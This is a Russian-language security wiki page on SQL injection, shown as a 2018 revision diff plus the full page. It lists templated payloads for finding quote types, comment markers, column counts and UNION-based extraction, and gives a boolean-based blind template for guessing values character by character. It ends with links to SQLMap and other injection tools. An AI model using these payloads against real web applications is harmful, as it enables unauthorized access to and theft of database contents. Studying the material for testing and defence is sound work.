Sqlinj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Error-Based)
м (Добавил boolean-based)
Строка 123: Строка 123:
  
 
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
 
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
 
  
 
=====Определение типа кавычки=====
 
=====Определение типа кавычки=====
Смотри "Определение типа кавычки" в UNION-Based.
+
Смотри соответствующую графу в UNION-Based.
  
  
 
=====Итог=====
 
=====Итог=====
  
Ваш запрос будет выглядеть как
+
На всякий случай подтвердим, как будет выглядеть итоговый запрос
 +
 
 
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
{параметр}{кавычка} AND ({выражение}={запрос}) AND {кавычка}1{кавычка}={кавычка}1
+
{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1
 +
</syntaxhighlight>
 +
 
 +
А далее остается добавить ваше условие:
 +
 
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
 
</syntaxhighlight>
 
</syntaxhighlight>
  
 
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
 
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
 +
 +
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).
  
 
=====Особенности=====
 
=====Особенности=====

Версия 06:29, 29 декабря 2018


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 
{параметр} aNd 1=1
{параметр}	aNd	1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1

{параметр}' aNd '1'='1
{параметр}'	aNd	'1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1

{параметр}" aNd "1"="1
{параметр}"	aNd	"1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1

{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY

Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


ORDER BY

Есть у MySQL,(добавить).

Аналогично GROUP BY.

Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}

Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:

FROM dual
Итоговый запрос

Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.

Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.

{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1


Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.

Error-Based

Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).

SELECT <вызов функции>

Подробнее в соответствующих разделах к каждой из СУБД.

Boolean-Based

Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.

Определение типа кавычки

Смотри соответствующую графу в UNION-Based.


Итог

На всякий случай подтвердим, как будет выглядеть итоговый запрос

{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1

А далее остается добавить ваше условие:

{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1

Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.

Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).

Особенности

Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.

Если целое число, то то же самое, но без функций.

Time-Based

auth

INSERT

DELETE

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

MySQL СУБД

OracleDB

Oracle СУБД

PostgreSQL

PostgreSQL СУБД

SQLite

SQLite СУБД

IBM DB2

IBM DB2 СУБД

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql